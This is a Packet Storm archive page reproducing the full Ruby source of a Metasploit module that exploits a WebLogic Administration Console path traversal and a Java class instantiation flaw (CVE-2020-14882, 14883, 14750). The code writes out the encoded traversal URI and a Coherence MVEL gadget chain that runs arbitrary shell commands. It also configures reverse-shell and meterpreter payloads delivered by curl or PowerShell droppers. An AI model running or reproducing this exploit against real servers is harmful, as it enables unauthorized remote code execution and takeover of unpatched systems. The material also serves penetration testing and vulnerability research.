what you don't know can hurt you

Oracle WebLogic Server Administration Console Handle Remote Code Execution

Oracle WebLogic Server Administration Console Handle Remote Code Execution
Posted Nov 19, 2020
Authored by wvu, Jang, voidfyoo | Site metasploit.com

This Metasploit module exploits a path traversal and a Java class instantiation in the handle implementation of WebLogic's Administration Console to execute code as the WebLogic user. Versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, and 14.1.1.0.0 are known to be affected. Tested against 12.2.1.3.0 from Vulhub (Linux) and on Windows. Warning! Multiple sessions may be created by exploiting this vuln.

tags | exploit, java
systems | linux, windows
advisories | CVE-2020-14750, CVE-2020-14882, CVE-2020-14883
MD5 | 5405ea15491baee8139d2505e9a04d02

Oracle WebLogic Server Administration Console Handle Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Oracle WebLogic Server Administration Console Handle RCE',
'Description' => %q{
This module exploits a path traversal and a Java class instantiation
in the handle implementation of WebLogic's Administration Console to
execute code as the WebLogic user.

Versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, and
14.1.1.0.0 are known to be affected.

Tested against 12.2.1.3.0 from Vulhub (Linux) and on Windows.

Warning! Multiple sessions may be created by exploiting this vuln.
},
'Author' => [
'voidfyoo', # Discovery
'Jang', # Analysis and PoC
'wvu' # Module
],
'References' => [
['CVE', '2020-14882'], # Auth bypass?
['CVE', '2020-14883'], # RCE?
['CVE', '2020-14750'], # Patch bypass
['EDB', '48971'], # An exploit
['URL', 'https://www.oracle.com/security-alerts/cpuoct2020.html'],
['URL', 'https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf']
],
'DisclosureDate' => '2020-10-20', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'win'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :curl,
'PAYLOAD' => 'linux/x64/meterpreter_reverse_https'
}
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'
}
}
],
[
'PowerShell Stager',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_stager,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
}
}
]
],
'DefaultTarget' => 4,
'DefaultOptions' => {
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
Opt::RPORT(7001),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
res = execute_command('')

unless res
return CheckCode::Unknown('Target did not respond to check.')
end

if res.code == 200 && res.body.include?('Deploying Application')
raise RuntimeError
end

unless res.code == 302 && res.body.include?('UnexpectedExceptionPage')
return CheckCode::Safe('Path traversal failed.')
end

CheckCode::Vulnerable('Path traversal successful.')
rescue RuntimeError
vprint_error('Application is deploying, sleeping and retrying check')

sleep(1)
retry
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

case target['Type']
when :unix_cmd, :win_cmd
execute_command(payload.encoded)
when :linux_dropper, :win_dropper
execute_cmdstager
when :psh_stager
execute_command(cmd_psh_payload(
payload.encoded,
payload.arch.first,
remove_comspec: true
))
end
end

def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}") unless cmd.empty?

send_request_cgi(
'method' => 'POST',
'uri' => aperture_science_handheld_portal_device,
'vars_post' => {
'handle' => coherence_gadget_chain(cmd)
}
)
end

def coherence_gadget_chain(cmd)
<<~JAVA.tr("\n", '').gsub(' ', '')
com.tangosol.coherence.mvel2.sh.ShellSession('
java.lang.Runtime.getRuntime().exec(
new java.lang.String[] {
#{win_target? ? '"cmd.exe", "/c", ' : '"/bin/sh", "-c", '}
new java.lang.String(
java.util.Base64.getDecoder().decode("#{Rex::Text.encode_base64(cmd)}")
)
}
)
')
JAVA
end

def aperture_science_handheld_portal_device
normalize_uri(target_uri.path, '/console/css/.%252e/console.portal')
end

def win_target?
target.platform.names.first == 'Windows'
end

end
Login or Register to add favorites

File Archive:

May 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    1 Files
  • 2
    May 2nd
    4 Files
  • 3
    May 3rd
    26 Files
  • 4
    May 4th
    17 Files
  • 5
    May 5th
    3 Files
  • 6
    May 6th
    32 Files
  • 7
    May 7th
    11 Files
  • 8
    May 8th
    2 Files
  • 9
    May 9th
    2 Files
  • 10
    May 10th
    13 Files
  • 11
    May 11th
    17 Files
  • 12
    May 12th
    22 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    9 Files
  • 15
    May 15th
    2 Files
  • 16
    May 16th
    2 Files
  • 17
    May 17th
    21 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close